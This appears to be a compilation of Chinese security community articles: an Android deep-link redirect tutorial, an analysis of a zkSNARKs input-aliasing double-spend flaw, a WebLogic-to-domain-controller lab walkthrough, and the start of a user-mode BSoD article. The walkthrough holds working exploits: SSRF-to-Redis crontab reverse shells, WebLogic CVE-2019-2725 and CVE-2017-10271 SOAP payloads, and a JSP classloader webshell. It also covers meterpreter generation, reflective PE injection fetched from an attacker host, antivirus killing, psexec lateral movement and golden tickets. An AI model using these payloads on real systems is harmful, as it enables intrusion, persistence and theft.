获得新机器的权限之后，便可以围绕新机器进行新一轮的信息搜集，然后不断横向，进一步扩大内网战果，以下，就不在多做测试。
另外对于 **ms17-010**
，如果说打2003的机器，建议使用`auxiliary/admin/smb/ms17_010_command`模块进行执行命令获得session；其他的可以直接使用`exploit/windows/smb/ms17_010_eternalblue`或者exploit/windows/smb/ms17_010_psexec来直接获得session。
## 写在最后
咕某人提醒您：道路千万条，安全第一条；渗透不规范，亲人两行泪。
以上渗透测试过程纯属本人杜撰，渗透是不可能渗透的，这辈子都不可能渗透的。
最后，对于过程中有任何疑问都可以评论留言，我会的会一一回复，不会的也能让路过的表哥给康康，说不定表哥就给解决了呢，嘿嘿（发出了白嫖的笑声）。 | 社区文章 |
# 从代码层理解android的重定向漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
Android
App中页面跳转主要通过Intent的显式，隐式传递来拉起其他的Activity组件，或是通过在AndroidManifest.xml中配置的android:scheme进行DeepLinks拉起app或跳转页面。相应的，跳转的时候传入参数未校验，就可能存在风险。
## Deeplinks格式
一般Deeplinks格式如下：
Scheme://host:port/path?query=xxxxxxx
被拉起的的App可以在AndroidManifest.xml中配置，向操作系统提前注册一个URL，开头的Scheme
用于从浏览器或其他App中拉起本App。
解析Scheme，判断Scheme属于哪个App，唤起App，传递参数给App由操作系统去完成。
## demo
写一个简单的demo。
在AndroidManifest.xml中注册并配置两个活动。其中Main2Activity中定义了对应的url。
编译后安装。
可以通过如下adb命令去拉起App。
adb shell am start -a "android.intent.action.VIEW" -d "xxapp://webview"
或者通过浏览器去拉起。
<a href="xxapp://webview">run deme</a>
可以看到手机中App已经启动。
## WebView中URL任意跳转
还是用上面额例子,这一次我们在Main2Activity中接收外部传入参数，进行加载。
默认返回是baidu。
按上面的adb命令执行，可以看到直接跳到baidu。
这里我们并未对传入的参数url进行校验，替换成其他的地址，也是可以加载的。
<a href="xxapp://webview?url=https://www.bilibili.com">run deme</a>
## 稍稍深入
在Web中，任意URL跳转漏洞由于功能限制，一般都是低危。但在移动应用中，往往会在WebView通过js去调用java接口使功能更加丰富。
通过注解[@JavascriptInterface](https://github.com/JavascriptInterface
"@JavascriptInterface")，表示方法可以被js调用。
这里我写了一个Toast，执行会返回对应的信息。
增加两行代码，开启js支持，绑定对象。
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(Main2Activity.this, "main");
测试html：
<html>
<body>
<button type="button" onClick="window.main.jsinterface('hhhhhhhhhh123')" >invoke</button>
</body>
</html>
加载后，点击按钮会出现弹窗提示，表示调用成功。
前面讲到过App中页面切换主要是通过Intent的传递，Webview中也是可以对Intent协议进行解析的，这就可能导致通过一条链，导致通过App拉起其他组件或者App，导致其他的问题。
因为这里我没有去实现Webview支持intent解析，这里就没有演示了。
## 总结
简单学习了一下Android中存在的URL跳转问题及其简单利用，剩下就是尽可能去收集app，逆向收集对应的Deeplinks，分析业务，扩大危害。 | 社区文章 |
**作者：p0n1@安比实验室
公众号：[安比实验室](https://mp.weixin.qq.com/s/ZmpS97QOcd7vcibBFIS7Iw "安比实验室")**
大量零知识证明项目由于错误地使用了某个 zkSNARKs 合约库，引入「输入假名 (Input Aliasing)
」漏洞，可导致伪造证明、双花、重放等攻击行为发生，且攻击成本极低。众多以太坊社区开源项目受影响，其中包括三大最常用的 zkSNARKs 零知开发库
snarkjs、ethsnarks、ZoKrates，以及近期大热的三个混币（匿名转账）应用 hopper、Heiswap、Miximus。这是一场由
Solidity 语言之父 Chris 两年前随手贴的一段代码而引发的血案。
### 双花漏洞：最初暴露的问题
semaphore 是一个使用零知识证明技术的匿名信号系统，该项目由著名开发者 barryWhiteHat 此前的混币项目演化而来。
俄罗斯开发者 poma 最先指出该项目可能存在双花漏洞[1]。
问题出在第 83 行代码[2]，请仔细看。
该函数需要调用者构造一个零知识证明，证明自己可从合约中提走钱。为了防止「双花」发生，该函数还读取「废弃列表」，检查该证明的一个指定元素是否被标记过。如果该证明在废弃列表中，则合约判定校验不通过，调用者无法提走钱。开发者认为，这样一来相同的证明就无法被重复提交获利，认为此举可以有效防范双花或重放攻击。
然而事与愿违，这里忽视了一个致命问题。攻击者可根据已成功提交的证明，利用「输入假名」漏洞，对原输入稍加修改便能迅速「伪造证明」，顺利通过合约第 82
行的零知识证明校验，并绕过第 83 行的防双花检查。
该问题最早可追溯到 2017 年，由 Christian Reitwiessner 大神，也就是 Solidity 语言的发明者，提供的 zkSNARKs
合约密码学实现示例[3]。 **其后，几乎以太坊上所有使用 zkSNARKs 技术的合约，都照用了该实现。因此都可能遭受以下流程的攻击。**
### 混币应用：该安全问题的重灾区
零知识证明技术在以太坊上最早和最广泛的应用场景是混币合约，或匿名转账、隐私交易。由于以太坊本身不支持匿名交易，而社区对于隐私保护的呼声越来越强烈，因此涌现出不少热门项目。这里以混币合约的应用场景为例，介绍「输入假名」漏洞对零知项目的安全威胁。
混币合约或匿名转账涉及两个要点：
1. 证明自己有一笔钱
2. 证明这笔钱没有花过
为了方便理解，这里简单描述一下流程：
1. A 要花一笔钱。
2. A 要证明自己拥有这笔钱。A 出示一个 zkproof，证明自己知道一个 hash (HashA) 的 preimage，且这个 hash 在以 root 为标志的 tree 的叶子上，且证明这个 preimage 的另一种 hash 是 HashB。其中 HashA 是 witness，HashB 是 public statement。由于 A 无需暴露 HashA，所以是匿名的。
3. 合约校验 zkproof，并检查 HashB 是否在废弃列表中。若不在，则意味着这笔钱未花过，可以花（允许 A 的此次调用）。
4. 如果可以花，合约需要把 HashB 放入废弃列表中，标明以 HashB 为代表的钱已经被花过，不能再次花了。
上面代码中的第 82 行 `verifyProof(a, b, c, input)`用来证明这笔钱的合法性，input[]是 public
statement，即公共参数。第 83 行通过`require(nullifiers_set[input[1]] == false)`
校验这笔钱是否被花过。
**很多 zkSNARKs 合约尤其是混币合约，核心逻辑都与第 82 行和 83 行类似，因此都存在同样的安全问题，可利用「输入假名」漏洞进行攻击。**
### 漏洞解析：一笔钱如何匿名地重复花 5 次？
上面`verifyProof(a, b, c,
input)`函数的作用是根据传入的数值在椭圆曲线上进行计算校验，核心用到了名为`scalar_mul()`的函数，实现了椭圆曲线上的标量乘法[4]。
我们知道以太坊内置了多个预编译合约，进行椭圆曲线上的密码学运算，降低 zkSNARKs 验证在链上的 Gas
消耗。函数`scalar_mul()`的实现则调用了以太坊预编译 7 号合约，根据 EIP 196 实现了椭圆曲线 `alt_bn128`
上的标量乘法[5]。下图为黄皮书中对该操作的定义，我们常称之为 `ECMUL` 或 `ecc_mul`。
密码学中，椭圆曲线的{x,y}的值域是一个基于 mod p 的有限域，这个有限域称之为 Zp 或 Fp。也就是说，一个椭圆曲线上的一个点{x,y}中的
x,y 是 Fp
中的值。一条椭圆曲线上的某些点构成一个较大的循环群，这些点的个数称之为群的阶，记为q。基于椭圆曲线的加密就在这个循环群中进行。如果这个循环群的阶数（q）为质数，那么加密就可以在
mod q 的有限域中进行，该有限域记作Fq。
一般选取较大的循环群作为加密计算的基础。在循环群中，任意选定一个非无穷远点作为生成元G（通常这个群的阶q是个大质数，那么任选一个非零点都是等价的），其他所有的点都可以通过
G+G+....产生出来。这个群里的元素个数为q，也即一共有q个点，那么我们可以用 0,1,2,3,....q-1 来编号每一个点。在这里第 0
个点是无穷远点，点1 就是刚才提到的那个G，也叫做基点。点2就是G+G，点3就是G+G+G。
于是当要表示一个点的时候，我们有两种方式。第一种是给出这个点的坐标 {x,y}，这里x,y属于Fp。第二种方式是用 n*G 的方式给出，由于 G
是公开的，于是只要给出 n 就行了。n 属于Fq。
看一下 `scalar_mul(G1Point point, uint s)` 函数签名，以 point 为生成元，计算
point+point+.....+point，一共 n 个 point 相加。这属于使用上面第二种方法表示循环群中的一个点。
在 Solidity 智能合约实现中需要使用 uint256 类型来编码Fq，但 uint256 类型的最大值是大于q 值，那么 会出现这样一种情况：在
uint256 中有多个数 经过 mod 运算之后都会对应到同一个Fq中的值。比如s和s +
q表示的其实是同一个点，即第s个点。这是因为在循环群中点q其实等价于 点0（每个点分别对应 0,1,2,3,....q-1）。同理，s +
2q等均对应到点s。我们把可以输入多个大整数会对应到同一个Fq中的值 这一现象称作「输入假名」，即这些数互为假名。
以太坊 7 号合约实现的椭圆曲线是y^2 = ax^3+bx+c。p 和 q 分别如下。
这里的q值即上文中提到的群的阶数。那么在 uint256 类型范围内，共有 uint256_max / q个，算下来也就是最多会有 5 个整数代表同一个点（
5 个「输入假名」）。
这意味着什么呢？让我们回顾上面调用`scalar_mul(G1Point point, uint s)`的`verifyProof(a, b, c,
input)` 函数，`input[]` 数组里的每个元素实际就是 s。对于每个s，在 uint256 数据类型范围内，会最多存在其他 4
个值，传入后计算结果与原值一致。
因此，当用户向合约出示零知识证明进行提现后，合约会把input[1]（也就是某个s）放入作废列表。用户（或其他攻击者）还可以使用另外 4
个值再次进行证明提交。 **而这 4 个值之前并没有被列入「废弃列表」，因此“伪造”的证明可以顺利通过校验，利用 5 个「输入假名」一笔钱可以被重复花 5
次，而且攻击成本非常低！**
### 还有更多受影响的项目
存在问题的远远不止 semaphore 一个。其他很多以太坊混币项目以及 zkSNARKs 项目都存在同样的允许「输入假名」的问题。
这当中，影响最大的要数几个大名鼎鼎的 zkSNARKs 库或框架项目，包括 snarkjs、ethsnarks、ZoKrates
等。许多应用项目会直接引用或参考他们的代码进行开发，从而埋下安全隐患。因此，上述三个项目迅速进行了安全修复更新。另外，多个利用了 zkSNARKs
技术的知名混币项目，如 hopper、Heiswap、Miximus 也立刻进行了同步修复。 **这些项目在社区热度都十分高，其中 Heiswap
更是被人们称为 「Vitalik 最喜爱的项目」。**
### 「输入假名」漏洞的解决方案
事实上，所有使用了该 zkSNARKs 密码学合约库的项目都应该立即开展自查，评估是否受影响。那么应该如何修复这个问题？
所幸的是，修复很简单。仅需在验证函数中添加对输入参数大小的校验，强制要求 input 值小于上面提到的 q
值。即严禁「输入假名」，杜绝使用多个数表示同一个点。
### 暴露的深层问题值得反思
该「输入假名」导致的安全漏洞值得社区认真反思。我们再回顾一下整个故事。2017 年 Christian 在 Gist 网站贴出了自己的 zkSNARKs
合约计算实现。作为计算库，我们可以认为他的实现并没有安全问题，没有违反任何密码学常识，完美地完成了在合约中进行证明验证的工作。事实上，作为 Solidity
语言的发明者，Christian
在这里当然不会犯任何低级错误。而两年后的今天，这段代码却引发了如此的安全风波。两年多的时间内，可能有无数同行和专家看过或使用过这段只有两百多行的代码，却没有发现任何问题。
核心问题出在哪里？可能出在底层库的实现者和库的使用者双方间对于程序接口的理解出现了偏差。换句话说：底层库的实现者对于应用开发者的不当使用方式欠缺考虑；而上层应用开发者没有在使用中没有深入理解底层实现原理和注意事项，进行了错误的安全假设。
所幸的是，目前常见的 zkSNARKs 合约库都火速进行了更新，从底层库层面杜绝「输入假名」。
**安比（SECBIT）实验室认为，底层库的更新诚然能够很大程度上消除掉后续使用者的安全隐患，但若该问题的严重性没有得到广泛地宣传和传播，依旧会有开发者不幸使用到错误版本的代码，或者是根据错误的教程进行开发（就像因为整数溢出而归零的那些
Token 一样），从而埋下安全隐患。**
「输入假名」漏洞不禁让我们回想起此前频繁曝出的「整数溢出」漏洞。二者相似之处颇多：都是源于大量开发者的错误假设；都与 Solidity 里的 uint256
类型有关；波及面都十分广；网络上也都流传着很多存在隐患的教程代码或者库合约。但显然「输入假名」漏洞显然更难检测，潜伏时间更长，需要的背景知识更多（涉及到复杂的椭圆曲线和密码学理论）。安比（SECBIT）实验室认为，随着
zkSNARKs、零知识证明应用、隐私技术的兴起，社区会涌现出更多的新应用，而背后暗藏的更多安全威胁可能会进一步暴露出来。希望这波新技术浪潮中，社区能充分吸收以往的惨痛教训，重视安全问题。
### 参考文献
[1] <https://github.com/kobigurk/semaphore/issues/16>
[2]
<https://github.com/kobigurk/semaphore/blob/602dd57abb43e48f490e92d7091695d717a63915/semaphorejs/contracts/Semaphore.sol#L83>
[3] <https://gist.github.com/chriseth/f9be9d9391efc5beb9704255a8e2989d>
[4]
<https://github.com/iden3/snarkjs/blob/0349d90824bd25688e3013ca26f7f73b51bc7755/templates/verifier_groth.sol#L202>
[5] <https://github.com/ethereum/EIPs/blob/master/EIPS/eip-196.md>
* * * | 社区文章 |
# ATT&CK(二)
## 环境搭建
还原一下快照
登录web主机 使用密码 de1ay 1qaz@WSX登录进去
进去之后进到这个目录下面,无权限时可以输入 管理员账号密码：Administrator/1qaz@WSX
C:\Oracle\Middleware\user_projects\domains\base_domain\bin
以管理员身份运行
WEB机和PC机：计算机右键->管理->配置->服务->Server、Workstation、Computer Browser 全部启动（Computer
Browser 一直自动关闭导致 net view 显示 6118 error 没能解决，在域信息收集时暂时关闭一下防火墙）
## 信息收集
收集ip
nmap -sP 192.168.111.2/24
收集80的具体信息
nmap -sS -sV -A -T4 -p- 192.168.111.80
* 445端口开放可能存在smb服务可能还会有ms17-010 端口溢出漏洞
* 139端口开放就存在有samba服务可能会有远程命令执行漏洞
* 1433端口开放就存在mssql服务有可能存在爆破 注入 sa弱口令
* 3389远程桌面服务
* 7001端口 weblogic服务
## 外网
<https://github.com/dr0op/WeblogicScan>
### weblogic SSRF
#### 简单测试
cd vulhub/weblogic/ssrf/
docker-compose up -d
docker ps
可以看到开启了连个服务 一个是weblogic 另一个是 redis
同样我们先扫描一下
我们对operator进行修改操作,发现当端口开放的时候会返回404
当端口不存在的时候就会显示服务连接不上
师傅总结的五种状态
**状态一**
**状态二**
**状态三**
**状态四**
**状态五**
首先，通过ssrf探测内网中的redis服务器（docker环境的网段一般是172.*），发现172.18.0.2:6379可以连通
定时任务payload
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/192.168.111.128/7777 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.111.128%2F7777%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0Aconfig%20set%20dir%20%2Fetc%2F%0Aconfig%20set%20dbfilename%20crontab%0Asave
替换%0A为%0A%0D
strs = """set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.111.128%2F7777%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0Aconfig%20set%20dir%20%2Fetc%2F%0Aconfig%20set%20dbfilename%20crontab%0Asave"""
print(strs.replace("%0A","%0A%0D"))
在拼接到redis请求之中
http://172.18.0.2:6379/ww%0A%0D%0A%0Dset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.111.128%2F7777%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0A%0Dconfig%20set%20dir%20%2Fetc%2F%0A%0Dconfig%20set%20dbfilename%20crontab%0A%0Dsave
#### 调试分析
修改docker-compose.yml，增加8888端口映射
vim docker-compose.yml
重启docker
docker stop `docker ps -q`
docker-compose up -d
查看id
docker ps
进入容器
docker exec -it 5891c1ca1078 bash
cd /root/Oracle/Middleware/user_projects/domains/base_domain/bin
vi setDomainEnv.sh
debugFlag="true"
export debugFlag
DEBUG_PORT=8888
重新启动容器
docker restart 5891c1ca1078
获取weblogic的源码
docker cp 5891c1ca1078:/root ./weblogic_jars
将所有jar包放到一个目录下面
mkdir weblogic_jars/lib
find ./weblogic_jars -name *.jar -exec cp {} ./weblogic_jars/lib/ \;
idea打开下面的wlserver_10.3
添加jar包
添加 jdk
如果不行就把防护墙关了
这里呢我们要找到正确调试的位置要在反编译的class下面下断点.我们先去看看要调试那个class文件
查看一个docker的日志
docker logs 5891c1ca1078
我们找到然后下好断点
成功接收到了
这里调试主要关注点是对于operator参数值的传递 从sendMessage函数开始，这里sendMessage接收到operator的参数值
sendMessage函数中利用BindFactory创建了一个工厂类，又创建了一个BindingInfo对象
工厂类会通过`BindingInfo`的内容来决定创建的`Bind`对象的类型
这里BindingInfo的getTransport函数默认为http11
最后工厂类创建的对象为Http11ClientBinding
通过Http11ClientBinding调用send函数来发起请求，这里可以看出直接向url参数中的地址发起连接，没有进行任何的校验。所以存在CRLF的问题
### weblogic CVE-2019-2725
#### 环境搭建
下载jdk
<https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html#jdk-7u80-oth-JPR>
下载weblogic
<https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html>
上传上去
tar -zxvf jdk-7u80-linux-x64.tar.gz
解压
记一下解压后的文件名 jdk1.7.0_80
export JAVA_HOME=/usr/lib/jvm/jdk1.7.0_80
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH
sudo vim ~/.bashrc
reboot
重启一下
说明环境配好了
命令行安装
java -jar wls1036_generic.jar -mode=console
cd /root/Oracle/Middleware/wlserver_10.3/common/bin/
修改完之后要输入下一步
cd /root/Oracle/Middleware/wlserver_10.3/common/lib/n/wanan
./startWebLogic.sh
http://192.168.111.129:7001/_async/AsyncResponseService
访问这个目录若返回200表示漏洞存在如果返回404则不存在
http://192.168.111.129:7001/_async/
访问这个目录若返回403表示漏洞存在,如果返回404表示漏洞不存在
利用前可以先看下有无wget命令
<%!
class U extends ClassLoader{
// 定义一个U class继承ClassLoader
U(ClassLoader c){
super(c);
}
// 调用父类的初始化
public Class g(byte[] b){
return super.defineClass(b,0, b.length);
// 调用父类的defineClass将得到的字节流数组传进入
}
}
public byte[] base64Decode(String str) throws Exception{
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer",String.class).invoke(clazz.newInstance(),str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object getDecoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) getDecoder.getClass().getMethod("decode",String.class).invoke(getDecoder,str);
}
// 通过两种方法进行base64解码
}
%>
<%
String cls = request.getParameter("wanan");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
查看一下写到哪里/_async/AsyncResponseService?info
访问/_async/_async/AsyncResponseService
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.111.129:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 851
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://192.168.111.1/wanan.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/wan.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
蚁剑连接一下
反弹shell
bash -i >& /dev/tcp/target ip/target port 0>&1
这里>&需要转换，否则无法利用
例：
bash -i >& /dev/tcp/192.168.111.128/7777 0>&1
### weblogic CVE-2017-10271
要跟上一个环境分开的话就重启一下
reboot
cd /root/vulnhub/weblogic/CVE-2017-10271/
vim docker-compose.yml
cd /root/Oracle/Middleware/user_projects/domains/base_domain/bin
vi setDomainEnv.sh
debugFlag="true"
export debugFlag
DEBUG_PORT=8888
docker cp 51bde427044b:/root ./weblogic_jars
mkdir weblogic_jars/10271
find ./weblogic_jars -name *.jar -exec cp {} ./weblogic_jars/10271/ \;
打开wlserver_10.3
打个断点
http://192.168.111.129:7001/wls-wsat/CoordinatorPortType
访问这个路径 显示以下页面可能存在漏洞
下面的也可以尝试
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.111.129:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml
Content-Length: 641
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.111.128/7777 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
VE-2017-10271漏洞主要是由WebLogic Server WLS组件远程命令执行漏洞，主要由wls-wsat.war触发该漏洞，触发漏洞url如下： <http://192.168.xx.xx:7001/wls-wsat/CoordinatorPortType>
post数据包，通过构造构造SOAP（XML）格式的请求，在解析的过程中导致XMLDecoder反序列化漏洞。
在weblogic/wsee/jaxws/workcontext/WorkContextServerTube类的processRequest方法中，处理POST数据包中的XML数据。var1即是传入的xml数据
到readHeaderOld方法中，处理读取的xml
前面获取了xml，使用ByteArrayOutputStream转换成了字节流赋值给var4，然后调用了WorkContextXmlInputAdapter传入了var4
继续跟进几个方法后，到了WorkContextLocalMap#receiveRequest，165行调用了WorkContextEntryImpl的readEntry方法
跟进readUTF，在这里进行了xmlDecoder.readObject触发了xmlDecoder的反序列化，执行了ProcessBuilder.start()
### 利用CVE-2019-2725写shell
把shell写到images目录中
\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\wan.jsp
http://192.168.111.80:7001/console/framework/skins/wlsconsole/images/wan.jsp
## 内网
下载PowerSploit
git clone https://github.com/PowerShellMafia/PowerSploit.git
生成木马
msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe lhost=192.168.111.80 lport=4444 -o ./shell.exe
转换成base64
cat shell.exe | base64 >base64.txt
开启监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.111.128
set lport 4444
run
python起一个网络服务
python3 -m http.server
远程加载powershell的pe反射模块
iex(New-Object Net.WebClient).DownloadString("http://192.168.111.128:8000/PowerSploit/CodeExecution/Invoke-ReflectivePEInjection.ps1")
继续加载base64编码后的payload，赋值给一个变量
$b64Str = (New-Object Net.WebClient).DownloadString("http://192.168.111.128:8000/base64.txt")
靶机解码payload
$PEBytes = [System.Convert]::FromBase64String($b64Str)
反射调用
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR
把上面的写成脚本 wan.ps1
iex(New-Object Net.WebClient).DownloadString("http://192.168.111.128:8000/PowerSploit/CodeExecution/Invoke-ReflectivePEInjection.ps1"); $b64Str = (New-Object Net.WebClient).DownloadString("http://192.168.111.128:8000/base64.txt") ; $PEBytes = [System.Convert]::FromBase64String($b64Str) ; Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR
powershell -ExecutionPolicy Bypass -File C:/Windows/wan.ps1
弹不上来 但是本地尝试可以
换种方法
use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost 192.168.111.128
set lport 5555
run
输出的东西都一样还是弹不上来
在换一种方式
use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.111.128
set rhosts 192.168.111.80
set target Windows
run
迁移进程
ps -ef | grep svchost.exe
migrate 632
成功获取到system权限
查看杀软
尝试杀一下
ps | grep 360
虽然杀了但是又重启了
我们尝试出入360的主动防御
我还没杀就自己没了?
我们在把主动防御杀了.先迁移回去
可以看到360确实被我们干死了
派生给cs
use windows/local/payload_inject
set disablepayloadhandler true
set payload windows/meterpreter/reverse_http
set lhost 192.168.111.129 #teamserver 地址
set lport 5555 #非会话监听地址
set session 3 #会话session id
exploit
看一下上面一样就好
成功接收到会话
抓密码
收集一下信息 在一里面命令挺全的了,这里就拿重要的来了
shell ipconfig/all
双网卡
域下信息收集不到的话,就去全部换原一下快照
net view
shell net user /domain
shell net group "domain controllers" /domain
查看域控制器
shell net group "domain computers" /domain
查看当前域成员计算机列表
psexec 是微软 pstools 工具包中最常用的一个工具，也是在内网渗透中的免杀渗透利器。psexec 能够在命令行下在对方没有开启 telnet
服务的时候返回一个半交互的命令行，像 telnet 客户端一样。原理是基于IPC共享，所以要目标打开 445 端口。另外在启动这个 psexec
建立连接之后对方机器上会被安装一个服务。
利用 psexec 横向移动至DC，域控成功上线。
成功上线
## 权限维持
在域控获得KRBTGT账户NTLM密码哈希和SID
hashdump
logonpasswords
### 黄金票据利用
黄金票据是伪造票据授予票据(TGT),也被称为认证票据,TGT仅用于向域服务器上的密钥分配中心(KDC)证明用户已经被其他的域控制器认证
黄金票据的条件
1. 域名城
2. 域的sid值
3. 域的krbtgt账户htlm密码哈希
4. 伪造用户名
黄金票据可以在拥有普通域用户权限和krbtgt账户的hash的情况下用来获取域管理员权限,上面已经获取了域控的system权限了,还可以使用黄金票据做权限维持,当域控制器权限掉了之后,在通过域内其他任意机器伪造票据重新湖区最高权限 | 社区文章 |
# R3蓝屏的多种方式及原理分析（一）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
`蓝屏死机`（英语：Blue Screen of
Death，缩写：BSoD）指的是微软Windows操作系统在无法从一个系统错误中恢复过来时所显示的屏幕图像。蓝屏有它存在的理由，在遇到非常严重的严重错误时，为了避免更严重的错误，立马中止系统的所有操作，顺便给个提示，让你知道错误的原因，对于一个专业人员来说，这些机制确实是非常重要的。但当你正在写论文还未保存，眼前却一片蓝色的时候，我想你一定也会黯然神伤吧。这个让普通人恨之入骨，专业人员爱恨交织的东西，究竟有怎样的魔力？本文只探讨由R3引起的BSoD，明眼人都知道研究R０的蓝屏纯属脱裤子放屁。
涉及到的知识点：
1. 调用未公开的API实现Ring3的BSoD行为
2. 通过对比Reactos源码挖掘NT内核的更多秘密
3. 借助IDA的静态分析探究BSoD的流程
4. windbg的Local Kernel Debugging和双机调试的各种技巧
下图为经典的Win10蓝屏
## 0x01 背景
相信很多人都对R3下的蓝屏很好奇，我也不例外，简单讲几个用处，可以用于自己程序的反调试手段，不过蓝屏比起其他反调试手段显然太过暴力，属于杀敌一千自损八百的情况，当然这种手段也比较好破解。对于各安全厂商而言，这应该是需要特别注意的，如何连这都拦截不了，后面的防护也只是痴人说梦。在网上一搜索了一大圈，大部分文章都是介绍API的，里面各种蓝屏方式，其实都是一个套路，讲解原理的确实少之又少。后来寻了半天终于找到一篇，[Ring3触发BSOD代码实现及内核逆向分析](https://www.anquanke.com/post/id/213412)，我也是受到启发，写下了本文，上文主要对Process进行了探究，本文将从各个方面更加深入的探究它的原理机制。
## 0x02 Ring3蓝屏的方式
简单的可以分成3大类，如果还有其他种类的欢迎大家补充，网上各大文章里的手段基本是第二类的衍生，但本质还是利用它是Critical
Process，但是无论哪种最后调用的一定是由Ring0调用`nt!KeBugCheckEx`
### 第一类蓝屏：`NtRaiseHardError`
**特别注意** ：需要`SeShutdownPrivilege`权限，因此需要利用`RtlAdjustPrivilege`提权，但是
**无需绕过UAC** (无需以管理员身份运行)
NTSTATUS
NTAPI
NtRaiseHardError(
IN NTSTATUS ErrorStatus, // 错误代码
IN ULONG NumberOfParameters, // 指定了Parameters指针数组包含的指针个数
IN PUNICODE_STRING UnicodeStringParameterMask OPTIONAL, // 该参数的各个二进制位与Paramenters指针数组一一对应，如果某一位为1，则说明对应的参数指针指向的是一个UNICODE_STRING，否则是一个整数
IN PVOID *Parameters, // 参数
IN HARDERROR_RESPONSE_OPTION ResponseOption, // 枚举类型 本文使用6号，具体含义见下面的代码
OUT PHARDERROR_RESPONSE Response // 返回值
);
以下是`RtlAdjustPrivilege`可获取的各种权限，单独提出来的2个是需要用到的
1.SeCreateTokenPrivilege 0x2
2.SeAssignPrimaryTokenPrivilege 0x3
3.SeLockMemoryPrivilege 0x4
4.SeIncreaseQuotaPrivilege 0x5
5.SeUnsolicitedInputPrivilege 0x0
6.SeMachineAccountPrivilege 0x6
7.SeTcbPrivilege 0x7
8.SeSecurityPrivilege 0x8
9.SeTakeOwnershipPrivilege 0x9
